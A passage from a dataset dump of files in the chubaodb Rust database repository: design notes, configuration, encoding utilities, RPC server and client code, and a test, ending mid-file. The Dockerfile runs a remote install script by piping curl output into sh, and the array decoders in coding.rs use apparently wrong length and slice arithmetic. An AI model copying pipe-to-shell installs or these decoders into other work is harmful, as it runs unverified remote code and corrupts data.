replication across the three zones. here we prefer 2.\n\n## partition replication\n\nfirstly we try no compute-layer replication but just rely on CFS storage layer for strong persistence, sync write of rocksdb wal with server-level group commit optimization. \nhowever, the performance metrics were not good. \n\n\nmulti-raft, one raft state machine per partition. \nstill buffered write of rocksdb wal, and DB.SyncWAL() per say 1000 writes; only the leader serves read/write operations and the followers hold raft commands to catch up on the lost buffered writes in case of leader failure.\n\n## scalability\n\ndynamic re-balancing of partition replica placement\n\nunlimited partition size with CFS\n\nscaling up: bigger containers for partitions with more traffic\n\n## Router\n\n### protocols\n\nGraphQL\ngRPC\nRESTful\n\n### APIs\n\nget/search\ncreate/update/upsert/delete/overwrite\n\n## Master\n\ncluster management\n\nreplication topology graph\n\ndynamic partition rebalancing\n\n### interface\n\n* CreateCollection\n* CreatePartition\n* AddServer\n\n### data structures\n\nZoneInfo -> ServerInfo -> map of PartitionInfo\n\nCollectionInfo -> PartitionInfo -> ServerInfo\n\ncollectionName (string) -> collectionId (u32)\n\n\n### schema management\n\ncollection schema information (only the indexed fields) is recorded in the master and pushed into every partition. \n\n### scheduling polices\n\ntry to place partitions of different collections onto different pservers for performance isolation. \n\n\n## PartitionServer \n\n### interface\n\noffload, load\n\n### data structures\n\nu64 (collectionId ## partitionId) --> Partition\n\nthe core index engine - Simba, currently doc store in rocksdb + secondary/fulltext index in tantivy\n\n### Simba - the core indexing library\n\nSimba has several kinds of indexes: \n\n1) primary key index, i.e. the document store, pk -> doc\n\n2) secondary index\n\n3) full-text index\n\n4) vector, etc. \n\n\n* two options: \n\na) synchronous secondary/full-text indexing\n\n<pk,iid>, <iid,doc>, <term, array of iid> in rocksdb and sk encoded as ordered\n\n\nb) async secondary/full-text indexing: covered by fulltext library like tantivy. \n\nRight now we just implement option b for simplicity\n\n* latch manager\n\neach partition has its latch managmer, in memory, and on the leader only\n\n\n### write IO path\n\nsay insert/update/upsert/delete/cwrite a document X, \n\n1, LatchManager.latch(x.pk)\n\n2, read x from rocksdb if it is needed\n\n3, return error if not meet conditions\n\n3, submit to raft replication\n\n4, apply to rocksdb, and to tantivy\n\n5, LatchManager.release(x.pk)\n\n6, return ok\n\n\nwrite performance optimization: raft log on tmpfs\n\n\n## execution flow of search\n\nlocal merging (intra-ps) & global merging (inter-ps)\n\n\n" }, { "alpha_fraction": 0.6243426203727722, "alphanum_fraction": 0.6731780767440796, "avg_line_length": 26.183673858642578, "blob_id": "6c59f6ae5b77bef258a5311cc9ef36cc283d7b1e", "content_id": "8717550943f416eac72d0e348999ad65d9002882", "detected_licenses": [ "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "TOML", "length_bytes": 1331, "license_type": "permissive", "max_line_length": 101, "num_lines": 49, "path": "/config/config.toml", "repo_name": "NLPchina/chubaodb", "src_encoding": "UTF-8", "text": "[global]\n# the name will validate join cluster by same name\nname = \"chubaodb\"\n# your server ip for connect, you can use -i in rags to set it\n# ip = \"127.0.0.1\"\n# log path , If you are in a production environment, You'd better set absolute paths\nlog = \"logs/\"\n# default log type for any model\nlog_level = \"info\"\n# log file size for rolling\nlog_limit_bytes = 128000000\n# number of reserved log files\nlog_file_count = 10\n# Whether to use distributed storage. If it's true, there's only one\nshared_disk = false\n\n[router]\n# port for server\nhttp_port = 8080\n\n[ps]\n#set zone num, default is 0\nzone = \"default\"\n# you data save to disk path ,If you are in a production environment, You'd better set absolute paths\ndata = \"data/\"\n# port for server\nrpc_port = 9090\n# how often to refresh the index\nflush_sleep_sec = 3\n [ps.raft]\n heartbeat_port = 10030\n replicate_port = 10031\n # how size of num for memory\n log_max_num = 200000\n # how size of num for memory\n log_min_num = 100000\n # how size of num for memory\n log_file_size_mb = 128\n # Three without a heartbeat , follower to begin consecutive elections\n heartbeate_ms = 500\n \n\n[[masters]]\n# master ip for service\nip = \"127.0.0.1\"\n# port for server\nhttp_port = 7070\n# master data path for meta\ndata = \"data/meta/\"" }, { "alpha_fraction": 0.48822492361068726, "alphanum_fraction": 0.5327315926551819, "avg_line_length": 23.09749984741211, "blob_id": "4348aaf5c79ebfa245ad01e5303f8e0bfbfec454", "content_id": "2edf844f754a282027057c09917091d757466583", "detected_licenses": [ "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "Rust", "length_bytes": 9639, "license_type": "permissive", "max_line_length": 80, "num_lines": 400, "path": "/src/util/coding.rs", "repo_name": "NLPchina/chubaodb", "src_encoding": "UTF-8", "text": "// Copyright 2020 The Chubao Authors.\n//\n// Licensed under the Apache License, Version 2.0 (the \"License\");\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//\n// http://www.apache.org/licenses/LICENSE-2.0\n//\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an \"AS IS\" BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or\n// implied. See the License for the specific language governing\n// permissions and limitations under the License.\nuse crate::pserverpb::Document;\nuse std::collections::hash_map::DefaultHasher;\nuse std::hash::{Hash, Hasher};\nuse std::mem::size_of;\nuse std::slice;\n\npub fn hash_str(v: &str) -> u64 {\n let mut s = DefaultHasher::new();\n v.hash(&mut s);\n s.finish()\n}\n\npub fn slice_u16(pack_data: &[u8]) -> u16 {\n let mut v: [u8; 2] = Default::default();\n v.copy_from_slice(pack_data);\n fix_slice_u16(v)\n}\n\npub fn slice_i32(pack_data: &[u8]) -> i32 {\n let mut v: [u8; 4] = Default::default();\n v.copy_from_slice(pack_data);\n fix_slice_i32(v)\n}\n\npub fn slice_u32(pack_data: &[u8]) -> u32 {\n let mut v: [u8; 4] = Default::default();\n v.copy_from_slice(pack_data);\n fix_slice_u32(v)\n}\n\npub fn slice_u64(pack_data: &[u8]) -> u64 {\n let mut v: [u8; 8] = Default::default();\n v.copy_from_slice(pack_data);\n fix_slice_u64(v)\n}\n\npub fn slice_i64(pack_data: &[u8]) -> i64 {\n let mut v: [u8; 8] = Default::default();\n v.copy_from_slice(pack_data);\n fix_slice_i64(v)\n}\n\npub fn slice_f32(pack_data: &[u8]) -> f32 {\n let mut v: [u8; 4] = Default::default();\n v.copy_from_slice(pack_data);\n fix_slice_f32(v)\n}\n\npub fn slice_f64(pack_data: &[u8]) -> f64 {\n let mut v: [u8; 8] = Default::default();\n v.copy_from_slice(pack_data);\n fix_slice_f64(v)\n}\n\npub fn fix_slice_u16(v: [u8; 2]) -> u16 {\n u16::from_be_bytes(v)\n}\n\npub fn fix_slice_u32(v: [u8; 4]) -> u32 {\n u32::from_be_bytes(v)\n}\n\npub fn fix_slice_i32(v: [u8; 4]) -> i32 {\n i32::from_be_bytes(v)\n}\n\npub fn fix_slice_u64(v: [u8; 8]) -> u64 {\n u64::from_be_bytes(v)\n}\n\npub fn fix_slice_i64(v: [u8; 8]) -> i64 {\n i64::from_be_bytes(v)\n}\n\npub fn fix_slice_f64(v: [u8; 8]) -> f64 {\n f64::from_be_bytes(v)\n}\n\npub fn fix_slice_f32(v: [u8; 4]) -> f32 {\n f32::from_be_bytes(v)\n}\n\npub fn u32_slice(value: u32) -> [u8; 4] {\n value.to_be_bytes()\n}\n\npub fn i32_slice(value: i32) -> [u8; 4] {\n value.to_be_bytes()\n}\n\npub fn u64_slice(value: u64) -> [u8; 8] {\n value.to_be_bytes()\n}\n\npub fn u16_slice(value: u16) -> [u8; 2] {\n value.to_be_bytes()\n}\n\npub fn i64_slice(value: i64) -> [u8; 8] {\n value.to_be_bytes()\n}\n\npub fn f64_slice(value: f64) -> [u8; 8] {\n value.to_be_bytes()\n}\n\npub fn f32_slice(value: f32) -> [u8; 4] {\n value.to_be_bytes()\n}\n\npub fn split_u32(value: u64) -> (u32, u32) {\n let bytes = value.to_be_bytes();\n\n (slice_u32(&bytes[4..]), slice_u32(&bytes[..4]))\n}\n\npub fn merge_u32(v1: u32, v2: u32) -> u64 {\n let mut v2 = u32_slice(v2).to_vec();\n let v1 = u32_slice(v1);\n\n v2.extend_from_slice(&v1);\n\n slice_u64(v2.as_slice())\n}\n\npub fn base64(value: &Vec<u8>) -> String {\n base64::encode(value)\n}\n\n/**\n * id coding has two model\n * 0. doc id : u32(iid) = proto(document) //first must 0\n * 1. SN_KEY [1, '_', '_', '_', '_', 's', 'n']\n * 2. doc key: u8(2) + str(id) = field key\n * 3. doc key: u8(3) + hash_str(id) + id + 0 + sort_key = field key\n * 4. field key : u8(4) + str(field_name) + 0 + u32(iid) = field_value\n * if sort_key is \"\" it use to 1.\n * if sort_key is not \"\" , it use 2.\n * the id for routing partition\n *\n */\npub const RAFT_INDEX_KEY: &'static [u8; 2] = &[1, 1];\n\npub fn key_type(key: &Vec<u8>) -> &'static str {\n match key[0] {\n 0 => \"doc_value\",\n 1 => \"SN_KEY\",\n 2 => \"doc_id\",\n 3 => \"doc_id\",\n 4 => \"field\",\n _ => \"unknow\",\n }\n}\n\npub fn iid_coding(iid: u32) -> [u8; 4] {\n u32_slice(iid)\n}\n\npub fn field_coding(field_name: &str, iid: u32) -> Vec<u8> {\n let mut arr = Vec::with_capacity(5 + field_name.len());\n arr.push(4);\n arr.extend_from_slice(field_name.as_bytes());\n arr.push(0);\n arr.extend_from_slice(&u32_slice(iid));\n arr\n}\n\npub fn key_coding(id: &str, sort_key: &str) -> Vec<u8> {\n if sort_key.is_empty() {\n let mut arr = Vec::with_capacity(1 + id.len());\n arr.push(2);\n arr.extend_from_slice(id.as_bytes());\n return arr;\n }\n\n let mut arr = Vec::with_capacity(6 + id.len() + sort_key.len());\n arr.push(3);\n arr.extend(hash_str(id).to_be_bytes().to_vec());\n arr.extend_from_slice(id.as_bytes());\n arr.push(0);\n arr.extend_from_slice(sort_key.as_bytes());\n\n arr\n}\n\npub fn doc_key(doc: &Document) -> Vec<u8> {\n key_coding(doc.id.as_str(), doc.sort_key.as_str())\n}\n\npub fn slice_slice<'a, T, V>(s: &'a [T]) -> &'a [V] {\n unsafe {\n slice::from_raw_parts(\n s.as_ptr() as *const _,\n s.len() / size_of::<V>() * size_of::<T>(),\n )\n }\n}\n\npub mod sort_coding {\n\n pub const INT: u8 = 0;\n pub const FLOAT: u8 = 1;\n pub const STR: u8 = 2;\n\n pub fn str_arr_coding(strs: &Vec<String>) -> Vec<u8> {\n let mut buf = Vec::with_capacity(strs.len() * 16);\n buf.push(STR);\n for s in strs {\n if s.len() > 256 {\n continue;\n }\n buf.push(s.len() as u8);\n if s.len() > 0 {\n buf.extend_from_slice(s.as_bytes());\n }\n }\n buf.to_vec()\n }\n\n pub struct StrIter<'a> {\n value: &'a [u8],\n offset: usize,\n }\n\n impl<'a> StrIter<'a> {\n pub fn next(&mut self) -> Option<&'a [u8]> {\n if self.offset >= self.value.len() {\n return None;\n }\n let len = self.value[self.offset] as usize;\n self.offset += 1;\n if self.offset + len > self.value.len() {\n return None;\n }\n self.offset += len;\n Some(&self.value[self.offset - len..self.offset])\n }\n }\n\n pub fn str_arr_decoding<'a>(arr: &'a [u8]) -> StrIter<'a> {\n StrIter {\n value: arr,\n offset: 1,\n }\n }\n\n pub fn f64_arr_coding(fs: &Vec<f64>) -> Vec<u8> {\n let mut result = Vec::with_capacity(fs.len() * 8 + 1);\n result.push(FLOAT);\n for f in fs {\n result.extend_from_slice(&f.to_be_bytes()[..]);\n }\n result\n }\n\n pub fn f64_arr_decoding(arr: &[u8]) -> Vec<f64> {\n let num = (arr.len() - 1) / 4;\n let mut result = Vec::with_capacity(num);\n for i in 0..num {\n result.push(crate::util::coding::slice_f64(&arr[i * 8 + 1..i + 8]));\n }\n result\n }\n\n pub fn i64_arr_coding(is: &Vec<i64>) -> Vec<u8> {\n let mut result = Vec::with_capacity(is.len() * 8 + 1);\n result.push(INT);\n for i in is {\n result.extend_from_slice(&i.to_be_bytes()[..]);\n }\n result\n }\n\n pub fn i64_arr_decoding(arr: &[u8]) -> Vec<i64> {\n let num = (arr.len() - 1) / 4;\n let mut result = Vec::with_capacity(num);\n for i in 0..num {\n result.push(crate::util::coding::slice_i64(&arr[i * 8 + 1..i + 8]));\n }\n result\n }\n}\n\n#[test]\npub fn test_i64_to_slice() {\n let a = 123;\n println!(\"{:?}\", i64_slice(a));\n}\n\n#[test]\npub fn test_slice_slice() {\n let a: Vec<f32> = vec![1.0, 2.0, 3.0, 4.0];\n let value: &[u8] = slice_slice(&a);\n println!(\"{:?}\", value);\n\n let vec = value.to_vec();\n let value: &[f32] = slice_slice(&vec);\n println!(\"{:?}\", value);\n\n vec.as_slice();\n\n assert_eq!(a, value);\n}\n\n#[test]\npub fn test_coding_u32() {\n let a: u32 = 100;\n let s = u32_slice(a);\n let b = slice_u32(&s);\n println!(\"slice_u32:{:?}\", b);\n let b = fix_slice_u32(s);\n println!(\"u32_slice:{:?}\", s);\n assert_eq!(a, b);\n}\n\n#[test]\npub fn test_split_u32() {\n let v: u64 = 2132391239123;\n let (a, b) = split_u32(v);\n let v1 = merge_u32(a, b);\n assert_eq!(v, v1);\n\n let collection_id = 12;\n let partition_id = 32;\n\n let value = merge_u32(collection_id, partition_id);\n\n println!(\"merge: {}\", value);\n\n let (cid, pid) = split_u32(value);\n\n println!(\"partition_id:{}\", partition_id);\n println!(\"collection_id:{}\", collection_id);\n\n assert_eq!(cid, collection_id);\n assert_eq!(pid, partition_id);\n}\n\n#[test]\npub fn string_arr_coding_decoding() {\n let arr = vec![\n String::from(\"123\"),\n String::from(\"123456\"),\n String::from(\"123456789\"),\n ];\n\n let value = sort_coding::str_arr_coding(&arr);\n println!(\"str array coding: {:?}\", value);\n\n let mut iter = sort_coding::str_arr_decoding(&value);\n\n for a in arr {\n assert_eq!(a.as_bytes(), iter.next().unwrap());\n }\n\n assert_eq!(None, iter.next());\n\n let arr = vec![\n String::from(\"123\"),\n String::from(\"\"),\n String::from(\"123456\"),\n String::from(\"123456789\"),\n ];\n\n let value = sort_coding::str_arr_coding(&arr);\n\n let mut iter = sort_coding::str_arr_decoding(&value);\n\n for a in arr {\n assert_eq!(a.as_bytes(), iter.next().unwrap());\n }\n\n assert_eq!(None, iter.next());\n\n let arr = vec![];\n\n let value = sort_coding::str_arr_coding(&arr);\n println!(\"str array coding: {:?}\", value);\n\n let mut iter = sort_coding::str_arr_decoding(&value);\n\n for a in arr {\n assert_eq!(a.as_bytes(), iter.next().unwrap());\n }\n\n assert_eq!(None, iter.next());\n}\n" }, { "alpha_fraction": 0.7088122367858887, "alphanum_fraction": 0.7260536551475525, "avg_line_length": 42.58333206176758, "blob_id": "ace0e94a330c9b4f8f4c1d208f874dcf23333715", "content_id": "0cb21e817c08e2c88f9e4952bc88f6cd78d4422b", "detected_licenses": [ "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "Dockerfile", "length_bytes": 522, "license_type": "permissive", "max_line_length": 95, "num_lines": 12, "path": "/docker/base/Dockerfile", "repo_name": "NLPchina/chubaodb", "src_encoding": "UTF-8", "text": "# docker build -t ansj/chubaodb_base:1.6.3 .\nFROM centos:7\n\nRUN yum update -y\nRUN yum install -y wget gcc gcc-c++ make automake git blas-devel lapack-devel which cmake clang\n# for great wall\nRUN export RUSTUP_DIST_SERVER=https://mirrors.ustc.edu.cn/rust-static \nRUN curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh -s -- -y\nRUN source $HOME/.cargo/env\nRUN git clone https://github.com/facebookresearch/faiss.git\nRUN cd faiss/ && git checkout v1.6.3\nRUN cd faiss/ && ./configure --without-cuda && make install" }, { "alpha_fraction": 0.538762092590332, "alphanum_fraction": 0.5407940149307251, "avg_line_length": 27.950225830078125, "blob_id": "2ebed1bceecce9234f5396e409e69f85f28dc66f", "content_id": "3f7545213ea710ea18a548db609fa01962aef204", "detected_licenses": [ "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "Rust", "length_bytes": 6398, "license_type": "permissive", "max_line_length": 97, "num_lines": 221, "path": "/src/pserver/server.rs", "repo_name": "NLPchina/chubaodb", "src_encoding": "UTF-8", "text": "// Copyright 2020 The Chubao Authors.\n//\n// Licensed under the Apache License, Version 2.0 (the \"License\");\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//\n// http://www.apache.org/licenses/LICENSE-2.0\n//\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an \"AS IS\" BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or\n// implied. See the License for the specific language governing\n// permissions and limitations under the License.\nuse crate::pserver::service::PartitionService;\nuse crate::pserverpb::{\n rpc_server::{Rpc, RpcServer},\n *,\n};\nuse crate::util::entity::*;\nuse crate::util::{config, error::*};\nuse log::{error, info};\nuse std::error::Error;\nuse std::sync::{mpsc::Sender, Arc};\nuse std::time;\nuse tonic::{transport::Server, Request, Response, Status};\n\npub async fn start(tx: Sender<String>, conf: Arc<config::Config>) -> Result<(), Box<dyn Error>> {\n //if ps got ip is empty to got it by master\n let mut config = (*conf).clone();\n\n if conf.global.ip == \"\" {\n let m_client = crate::client::meta_client::MetaClient::new(conf.clone());\n loop {\n match m_client.my_ip().await {\n Ok(ip) => {\n info!(\"got my ip:{} from master\", ip);\n config.global.ip = ip;\n break;\n }\n Err(e) => {\n error!(\"got ip from master has err:{:?}\", e);\n std::thread::sleep(std::time::Duration::from_secs(1));\n }\n }\n }\n }\n\n let conf = Arc::new(config);\n\n let mut ps = PartitionService::new(conf.clone());\n\n let now = time::SystemTime::now();\n\n while let Err(err) = ps.init().await {\n error!(\"partition init has err:{:?} it will try again!\", err);\n std::thread::sleep(time::Duration::from_secs(1));\n }\n\n info!(\n \"init pserver OK use time:{:?}\",\n time::SystemTime::now().duration_since(now)\n );\n\n //start heartbeat TODO..........\n\n let addr = format!(\"{}:{}\", conf.global.ip, conf.ps.rpc_port)\n .parse()\n .unwrap();\n\n let rpc_service = RpcServer::new(RPCService::new(ps));\n\n let _ = Server::builder()\n .add_service(rpc_service)\n .serve(addr)\n .await?;\n let _ = tx.send(String::from(\"pserver over\"));\n Ok(())\n}\n\npub struct RPCService {\n service: Arc<PartitionService>,\n}\n\nimpl RPCService {\n fn new(ps: Arc<PartitionService>) -> Self {\n RPCService { service: ps }\n }\n}\n\n#[tonic::async_trait]\nimpl Rpc for RPCService {\n async fn write(\n &self,\n request: Request<WriteDocumentRequest>,\n ) -> Result<Response<GeneralResponse>, Status> {\n let result = match self.service.write(request.into_inner()).await {\n Ok(gr) => gr,\n Err(e) => e.into(),\n };\n\n Ok(Response::new(result))\n }\n\n async fn get(\n &self,\n request: Request<GetDocumentRequest>,\n ) -> Result<Response<DocumentResponse>, Status> {\n let result = match self.service.get(request.into_inner()) {\n Ok(gr) => gr,\n Err(e) => e.into(),\n };\n Ok(Response::new(result))\n }\n\n async fn search(\n &self,\n request: Request<QueryRequest>,\n ) -> Result<Response<SearchDocumentResponse>, Status> {\n let result = match self.service.search(request.into_inner()).await {\n Ok(gr) => gr,\n Err(e) => e.into(),\n };\n Ok(Response::new(result))\n }\n\n async fn agg(\n &self,\n request: Request<QueryRequest>,\n ) -> Result<Response<AggregationResponse>, Status> {\n let result = match self.service.agg(request.into_inner()).await {\n Ok(gr) => gr,\n Err(e) => e.into(),\n };\n Ok(Response::new(result))\n }\n\n async fn count(\n &self,\n request: Request<CountDocumentRequest>,\n ) -> Result<Response<CountDocumentResponse>, Status> {\n let result = match self.service.count(request.into_inner()).await {\n Ok(v) => v,\n Err(e) => e.into(),\n };\n Ok(Response::new(result))\n }\n\n async fn status(\n &self,\n request: Request<GeneralRequest>,\n ) -> Result<Response<GeneralResponse>, Status> {\n let result = match self.service.status(request.into_inner()).into() {\n Ok(v) => v,\n Err(e) => e.into(),\n };\n Ok(Response::new(result))\n }\n\n async fn load_partition(\n &self,\n request: Request<PartitionRequest>,\n ) -> Result<Response<GeneralResponse>, Status> {\n let req = request.into_inner();\n info!(\"Start server load_or_create_partition\");\n\n let mut replicas: Vec<Replica> = vec![];\n for rep in req.replicas {\n let mut replica_type: ReplicaType = ReplicaType::NORMAL;\n if rep.replica_type == 1 {\n replica_type = ReplicaType::LEARNER;\n }\n replicas.push(Replica {\n node_id: rep.node,\n replica_type: replica_type,\n });\n }\n let result = match self\n .service\n .init_partition(\n req.collection_id,\n req.partition_id,\n replicas,\n req.readonly,\n req.version,\n )\n .await\n {\n Ok(_) => make_general_success(),\n Err(e) => e.into(),\n };\n\n if let Err(e) = self.service.take_heartbeat().await {\n return Ok(Response::new(e.into()));\n }\n\n Ok(Response::new(result))\n }\n\n async fn offload_partition(\n &self,\n request: Request<PartitionRequest>,\n ) -> Result<Response<GeneralResponse>, Status> {\n if let Err(e) = self.service.offload_partition(request.into_inner()) {\n return Ok(Response::new(e.into()));\n };\n\n let rep = match self.service.take_heartbeat().await {\n Ok(_) => make_general_success(),\n Err(e) => e.into(),\n };\n\n Ok(Response::new(rep))\n }\n}\n\nfn make_general_success() -> GeneralResponse {\n GeneralResponse {\n code: Code::Success as i32,\n message: String::from(\"success\"),\n }\n}\n" }, { "alpha_fraction": 0.6125679016113281, "alphanum_fraction": 0.6163477301597595, "avg_line_length": 29.897809982299805, "blob_id": "36f34e86986e700928e42479dfc7608d7dd18100", "content_id": "3a6855e3176321882cd829403196756e91509956", "detected_licenses": [ "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "Rust", "length_bytes": 4233, "license_type": "permissive", "max_line_length": 98, "num_lines": 137, "path": "/src/client/partition_client.rs", "repo_name": "NLPchina/chubaodb", "src_encoding": "UTF-8", "text": "// Copyright 2020 The Chubao Authors.\n//\n// Licensed under the Apache License, Version 2.0 (the \"License\");\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//\n// http://www.apache.org/licenses/LICENSE-2.0\n//\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an \"AS IS\" BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or\n// implied. See the License for the specific language governing\n// permissions and limitations under the License.\nuse crate::pserverpb::{rpc_client::RpcClient, *};\nuse crate::util::error::*;\nuse crate::*;\nuse tonic::transport::{Channel, Endpoint};\nuse tonic::Request;\n#[derive(Default)]\npub struct PartitionClient {\n pub addr: String,\n pub collection_id: u32,\n pub partition_id: u32,\n pub slot: u32,\n}\n\nimpl PartitionClient {\n pub fn new(addr: String) -> Self {\n PartitionClient {\n addr: addr,\n ..Default::default()\n }\n }\n}\n\n//for ps\nimpl PartitionClient {\n pub fn addr(&self) -> String {\n format!(\"http://{}\", self.addr)\n }\n\n pub async fn write(\n &self,\n mut rpc_client: RpcClient<Channel>,\n req: WriteDocumentRequest,\n ) -> ASResult<GeneralResponse> {\n let resp = conver(rpc_client.write(Request::new(req)).await)?.into_inner();\n result_obj_code!(resp)\n }\n\n pub async fn get(\n &self,\n mut rpc_client: RpcClient<Channel>,\n req: GetDocumentRequest,\n ) -> ASResult<DocumentResponse> {\n let resp = conver(rpc_client.get(Request::new(req)).await)?.into_inner();\n result_obj_code!(resp)\n }\n}\n\n//for master\nimpl PartitionClient {\n pub async fn status(&self, req: GeneralRequest) -> ASResult<GeneralResponse> {\n let mut rpc_client = RpcClient::new(Endpoint::from_shared(self.addr())?.connect().await?);\n let resp = rpc_client.status(Request::new(req)).await?.into_inner();\n result_obj_code!(resp)\n }\n\n pub async fn load_or_create_partition(\n &self,\n req: PartitionRequest,\n ) -> ASResult<GeneralResponse> {\n let mut rpc_client = RpcClient::new(Endpoint::from_shared(self.addr())?.connect().await?);\n let resp = rpc_client\n .load_partition(Request::new(req))\n .await?\n .into_inner();\n result_obj_code!(resp)\n }\n\n //offload partition , if partition not exist it not return err\n pub async fn offload_partition(&self, req: PartitionRequest) -> ASResult<GeneralResponse> {\n let mut rpc_client = RpcClient::new(Endpoint::from_shared(self.addr())?.connect().await?);\n let resp = rpc_client\n .offload_partition(Request::new(req))\n .await?\n .into_inner();\n result_obj_code!(resp)\n }\n}\n\npub struct MultiplePartitionClient {\n pub addr: String,\n pub collection_partition_ids: Vec<u64>,\n}\n\n//for ps\nimpl MultiplePartitionClient {\n pub fn new(addr: String) -> Self {\n Self {\n addr: addr,\n collection_partition_ids: Vec::new(),\n }\n }\n\n pub async fn search(self, query: QueryRequest) -> ASResult<SearchDocumentResponse> {\n let mut rpc_client = RpcClient::new(Endpoint::from_shared(self.addr())?.connect().await?);\n\n let resp = rpc_client.search(Request::new(query)).await?;\n\n Ok(resp.into_inner())\n }\n\n pub async fn agg(self, query: QueryRequest) -> ASResult<AggregationResponse> {\n let mut rpc_client = RpcClient::new(Endpoint::from_shared(self.addr())?.connect().await?);\n\n let resp = rpc_client.agg(Request::new(query)).await?;\n\n Ok(resp.into_inner())\n }\n\n pub async fn count(&self) -> ASResult<CountDocumentResponse> {\n let mut rpc_client = RpcClient::new(Endpoint::from_shared(self.addr())?.connect().await?);\n let resp = rpc_client\n .count(Request::new(CountDocumentRequest {\n cpids: self.collection_partition_ids.clone(),\n }))\n .await?\n .into_inner();\n\n result_obj_code!(resp)\n }\n\n fn addr(&self) -> String {\n format!(\"http://{}\", self.addr)\n }\n}\n" }, { "alpha_fraction": 0.5215577483177185, "alphanum_fraction": 0.5410292148590088, "avg_line_length": 20.147058486938477, "blob_id": "acb543abd462b7ba7360e4c8211c72a27a0ee5ba", "content_id": "3a8faf8a95cdac91bcbacfe200a6111c14cf6217", "detected_licenses": [ "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 719, "license_type": "permissive", "max_line_length": 73, "num_lines": 34, "path": "/test/test_diff_dir.py", "repo_name": "NLPchina/chubaodb", "src_encoding": "UTF-8", "text": "import pytest\nimport requests\nimport json\nimport random\nimport config\n\n\n\ndef test_create_collection():\n url = \"http://\" + ROUTER + \"/command\"\n headers = {\"content-type\": \"application/json\"}\n data = {\n \"target\": [PS1, PS2],\n \"method\": \"file_info\",\n \"path\": PATH\n }\n response = requests.post(url, headers=headers, data=json.dumps(data))\n assert response.status_code == 200\n\n pss = json.loads(response.text)\n\n s1 = set()\n s2 = set()\n for o in pss[0][\"result\"]:\n s1.add(json.dumps(o))\n \n for o in pss[1][\"result\"]:\n s2.add(json.dumps(o))\n\n print(\"------------------\")\n\n for s in s1-s2:\n s = json.loads(s)\n print(\"s1-- \", s[\"path\"])\n" }, { "alpha_fraction": 0.5375884175300598, "alphanum_fraction": 0.5474506616592407, "avg_line_length": 28.20652198791504, "blob_id": "2ee8e06ebace16a629a95754faaf43a19f68da71", "content_id": "52153261de5b001d77ca16a2c2ed6bfca054f4e4", "detected_licenses": [ "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "Rust", "length_bytes": 5374, "license_type": "permissive", "max_line_length": 118, "num_lines": 184, "path": "/src/pserver/simba/engine/rocksdb.rs", "repo_name": "NLPchina/chubaodb", "src_encoding": "UTF-8", "text": "// Copyright 2020 The Chubao Authors.\n//\n// Licensed under the Apache License, Version 2.0 (the \"License\");\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//\n// http://www.apache.org/licenses/LICENSE-2.0\n//\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an \"AS IS\" BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or\n// implied. See the License for the specific language governing\n// permissions and limitations under the License.\nuse crate::pserver::simba::engine::engine::{BaseEngine, Engine};\nuse crate::util::{\n coding::{slice_u32, slice_u64, u64_slice, RAFT_INDEX_KEY},\n error::*,\n};\nuse crate::*;\nuse log::{error, info};\nuse rocksdb::{ColumnFamily, Direction, FlushOptions, IteratorMode, WriteBatch, WriteOptions, DB};\nuse std::ops::Deref;\nuse std::path::Path;\nuse std::sync::{atomic::AtomicI32, Arc};\n\npub struct RocksDB {\n base: Arc<BaseEngine>,\n pub db: DB,\n // rocksdb arc reference count for not release\n pub arc_count: AtomicI32,\n wo: WriteOptions,\n}\n\nimpl Deref for RocksDB {\n type Target = Arc<BaseEngine>;\n fn deref<'a>(&'a self) -> &'a Arc<BaseEngine> {\n &self.base\n }\n}\n\npub const ID_CF: &'static str = \"id\";\n\nimpl RocksDB {\n pub fn new(base: Arc<BaseEngine>) -> ASResult<RocksDB> {\n let db_path = base.base_path().join(Path::new(\"db\"));\n let mut option = rocksdb::Options::default();\n option.create_if_missing(true);\n option.create_missing_column_families(true);\n let db = DB::open_cf(&option, db_path.to_str().unwrap(), &[ID_CF])?;\n\n let mut write_options = WriteOptions::default();\n write_options.disable_wal(true);\n write_options.set_sync(false);\n\n Ok(RocksDB {\n base: base,\n db: db,\n arc_count: AtomicI32::new(1),\n wo: write_options,\n })\n }\n\n pub fn id_cf(&self) -> &ColumnFamily {\n self.db.cf_handle(ID_CF).unwrap()\n }\n\n pub fn get_doc_by_id<K: AsRef<[u8]> + std::fmt::Debug>(\n &self,\n key: K,\n ) -> ASResult<Option<Vec<u8>>> {\n match self.db.get_cf(self.id_cf(), key) {\n Ok(v) => Ok(v),\n Err(e) => result!(Code::RocksDBNotFound, \"get id key:{:?} has err\", e),\n }\n }\n\n pub fn write(&self, key: &Vec<u8>, value: &Vec<u8>) -> ASResult<()> {\n let mut batch = WriteBatch::default();\n batch.put(key, value);\n conver(self.db.write_opt(batch, &self.wo))?;\n Ok(())\n }\n\n pub fn write_batch(&self, batch: WriteBatch) -> ASResult<()> {\n conver(self.db.write_opt(batch, &&self.wo))?;\n Ok(())\n }\n\n pub fn delete<K: AsRef<[u8]>>(&self, key: K) -> ASResult<()> {\n let mut batch = WriteBatch::default();\n batch.delete(key);\n conver(self.db.write_opt(batch, &&self.wo))?;\n Ok(())\n }\n\n pub fn estimate_count(&self) -> ASResult<u64> {\n Ok(self\n .db\n .property_int_value(\"rocksdb.estimate-num-keys\")?\n .unwrap_or(0))\n }\n\n pub fn count(&self) -> ASResult<u64> {\n let prefix = 